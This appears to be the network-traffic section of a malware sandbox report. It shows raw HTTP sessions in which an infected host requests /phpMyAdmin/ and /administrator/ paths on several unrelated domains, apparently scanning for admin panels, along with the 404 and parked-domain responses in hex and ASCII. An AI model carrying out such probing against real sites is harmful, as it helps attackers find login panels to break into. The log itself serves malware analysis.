3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	56324	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.349644899 CET	224	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:39.089296103 CET	224	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:39.426326990 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:27 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:39.426340103 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	56885	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.366281033 CET	235	OUT	GET /administrator/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.887192965 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache Set-Cookie: vsid=933vr449082278481667873; expires=Thu, 30-Nov-2028 17:04:38 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 62 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 46 6c 75 4f 75 5a 58 37 63 43 61 78 72 75 52 34 55 39 5a 69 6f 50 75 63 44 49 53 78 58 6e 4d 39 5a 7a 59 57 61 2f 2f 54 6e 30 36 4e 7a 39 53 65 34 39 73 4a 56 70 62 62 2b 44 58 32 38 76 54 42 54 2b 6e 50 32 4d 57 52 62 6a 4c 75 47 69 2f 76 2b 64 65 4c 5a 77 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 61 73 73 65 74 5f 73 74 61 72 30 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 30 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 31 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 31 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 Data Ascii: 4b1c<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_FluOuZX7cCaxruR4U9ZioPucDISxXnM9ZzYWa//Tn06Nz9Se49sJVpbb+DX28vTBT+nP2MWRbjLuGi/v+deLZw==" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> <title>airanatoliava.org</title> <script src="//www.google.com/adsense/domains/caf.js?abp=1"></script> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_star1 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star1.gif') no-repeat center;width: 13px;height: 12px
Dec 2, 2023 18:04:38.887208939 CET	1274	IN	Data Raw: 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 48 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f Data Ascii: ;display: inline-block;}.asset_starH {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/starH.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.sitelink {padding-right: 16px;}.sellerRatin
Dec 2, 2023 18:04:38.887226105 CET	1274	IN	Data Raw: 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 63 6c 65 61 6e 50 65 70 70 65 72 6d 69 6e 74 42 6c 61 63 6b 5f 36 35 37 64 39 30 31 33 2f 69 6d 67 2f 62 6f 74 74 6f 6d 2e 70 6e 67 27 29 20 Data Ascii: 8psrni17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/bottom.png') no-repeat center bottom; padding-bottom:140px;}.wrapper3 { background:#fff; max-width:300px; margin:0 auto 1rem; padding-top:1px; padd
Dec 2, 2023 18:04:38.887283087 CET	1274	IN	Data Raw: 69 6e 2d 68 65 69 67 68 74 3a 36 30 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 77 72 61 70 70 65 72 33 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 35 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e Data Ascii: in-height:600px; } .wrapper3 { max-width:530px; background:none; }}</style> </head><body id="afd" style="visibility:hidden"><div id="reg-banner" class="reg-banner"> <style> .reg-banner { box-siz
Dec 2, 2023 18:04:38.887444973 CET	1274	IN	Data Raw: 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 65 74 77 6f 72 6b 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 65 78 70 65 72 69 65 6e 63 65 2d 66 72 61 67 6d 65 6e 74 73 2f 6e 65 74 73 6f 6c 2f 73 69 74 65 2d 68 65 61 64 65 72 2f 6d 61 Data Ascii: ttps://www.networksolutions.com/content/experience-fragments/netsol/site-header/master/_jcr_content/root/header/logo.coreimg.svg/1633719265272/160x62-full-logo-transparent-bg.svg" class="reg-logo" alt="airanatoliava.org expired on and is pend
Dec 2, 2023 18:04:38.887459993 CET	1274	IN	Data Raw: 3a 20 31 20 2f 20 73 70 61 6e 20 32 3b 20 6a 75 73 74 69 66 79 2d 73 65 6c 66 3a 20 65 6e 64 22 3e 0a 20 20 20 20 20 20 20 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 2f 2f 61 64 73 2e 6e 65 74 77 6f 72 6b 73 6f Data Ascii: : 1 / span 2; justify-self: end"> <a target="_blank" href="//ads.networksolutions.com/landing?code=P47C100S1N0B9A1D124E0000V100" class="header-text-color"> Renew Your Domain Now </a> </div> <div style="grid-
Dec 2, 2023 18:04:38.887476921 CET	1274	IN	Data Raw: 77 65 62 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 45 6e 67 6c 69 73 68 2f 4d 53 41 2f 76 31 2e 30 2e 30 2e 33 2f 53 65 72 76 69 63 65 73 41 67 72 65 65 6d 65 6e 74 2e 70 64 66 22 3e 53 65 72 76 69 63 65 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 3c 62 Data Ascii: web.com/legal/English/MSA/v1.0.0.3/ServicesAgreement.pdf">Service Agreement</a><br><br><a href="https://www.networksolutions.com/">Legal Notice</a> </div></div><script type="text/javascript" language="JavaScript"> var tcblock = {
Dec 2, 2023 18:04:38.957036018 CET	1274	IN	Data Raw: 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 69 73 41 64 75 6c 74 3d 66 61 6c 73 65 3b 20 20 20 20 20 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 4e 61 6d 65 73 3d 5b 5d 3b 20 20 20 20 20 76 61 72 20 75 6e 69 71 75 65 54 72 61 63 6b 69 6e 67 49 44 3d 27 Data Ascii: vascript">var isAdult=false; var containerNames=[]; var uniqueTrackingID='MTcwMTUzNjY3OC43MTkxOmE4NTZhN2JmZGYyYTVhOGFhMmVjYTNlN2Y5NzI0NDFmMDQxYTVhNTNjMTA1YjY4NTQzZGMyODYxYjUzNzJkZWI6NjU2YjYzYTZhZjkyNA=='; var search=''; var the
Dec 2, 2023 18:04:38.993789911 CET	1274	IN	Data Raw: 2f 3f 74 73 3d 27 2c 0a 20 20 20 20 27 66 6f 6e 74 46 61 6d 69 6c 79 27 3a 20 27 61 72 69 61 6c 27 2c 0a 20 20 20 20 27 6f 70 74 69 6d 69 7a 65 54 65 72 6d 73 27 3a 20 74 72 75 65 2c 0a 20 20 20 20 27 6d 61 78 54 65 72 6d 4c 65 6e 67 74 68 27 3a Data Ascii: /?ts=', 'fontFamily': 'arial', 'optimizeTerms': true, 'maxTermLength': 40, 'adtest': true, 'clicktrackUrl': '//' + location.host + '/track.php?', 'attributionText': 'Ads', 'colorAttribution': '#b7b7b7', 'fontSiz
Dec 2, 2023 18:04:38.993891001 CET	1274	IN	Data Raw: 20 61 64 73 4c 6f 61 64 65 64 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 73 45 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 3a 20 69 73 45 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: adsLoaded, isExperimentVariant: isExperimentVariant, callbackOptions: callbackOptions, terms: pageOptions.terms } ajaxQuery( scriptPath + "/track.php"
Dec 2, 2023 18:04:38.993902922 CET	1274	IN	Data Raw: 6f 6e 65 6e 74 28 64 6f 6d 61 69 6e 29 20 2b 20 22 26 63 61 66 3d 31 26 74 6f 67 67 6c 65 3d 65 72 72 6f 72 63 6f 64 65 26 63 6f 64 65 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 73 74 61 74 75 73 2e 65 72 72 6f 72 5f Data Ascii: onent(domain) + "&caf=1&toggle=errorcode&code=" + encodeURIComponent(status.error_code) + "&uid=" + encodeURIComponent(uniqueTrackingID)); if ([18, 19].indexOf(parseInt(status.error_code)) != -1 && fallbackTriggered == false) {
Dec 2, 2023 18:04:39.160604000 CET	332	OUT	GET /administrator/index.php HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip Cookie: vsid=933vr449082278481667873 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://airanatoliava.org/administrator/
Dec 2, 2023 18:04:39.367655039 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:39 GMT Server: Apache X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_c+5PdXjKpQrYV2UpiYge4k6hJr77dS3vrtxsy5W0KhnTlpp/5Dsg32RqHf8e9JtZcCw0870J2DnvJ9rWWDcOlA== Content-Length: 2593 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 63 2b 35 50 64 58 6a 4b 70 51 72 59 56 32 55 70 69 59 67 65 34 6b 36 68 4a 72 37 37 64 53 33 76 72 74 78 73 79 35 57 30 4b 68 6e 54 6c 70 70 2f 35 44 73 67 33 32 52 71 48 66 38 65 39 4a 74 5a 63 43 77 30 38 37 30 4a 32 44 6e 76 4a 39 72 57 57 44 63 4f 6c 41 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 3f 61 3d 4e 43 74 43 56 57 38 78 55 45 56 6a 61 46 70 6c 5a 6d 4a 73 54 48 68 4a 62 54 5a 70 63 54 52 4c 4d 31 68 4f 53 31 5a 74 52 58 5a 45 55 33 42 75 64 31 6c 48 54 57 64 75 62 6e 41 32 53 54 4e 44 65 44 56 50 64 33 52 4d 54 6a 4a 68 4e 31 6c 56 53 33 70 50 56 31 42 34 4e 6c 68 35 5a 6b 56 61 51 31 70 57 64 32 56 46 4c 31 52 6c 64 6a 42 6e 63 46 46 61 62 55 4a 55 4d 55 78 76 55 47 6c 34 57 58 70 73 5a 30 78 69 4e 57 73 30 Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_c+5PdXjKpQrYV2UpiYge4k6hJr77dS3vrtxsy5W0KhnTlpp/5Dsg32RqHf8e9JtZcCw0870J2DnvJ9rWWDcOlA=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://airanatoliava.org/px.js?ch=1"></script><script type="text/javascript" src="http://airanatoliava.org/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://airanatoliava.org/sk-logabpstatus.php?a=NCtCVW8xUEVjaFplZmJsTHhJbTZpcTRLM1hOS1ZtRXZEU3Bud1lHTWdubnA2STNDeDVPd3RMTjJhN1lVS3pPV1B4Nlh5ZkVaQ1pWd2VFL1RldjBncFFabUJUMUxvUGl4WXpsZ0xiNWs0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	56864	46.254.37.204	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.395339966 CET	237	OUT	GET /administrator/ HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.599369049 CET	514	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 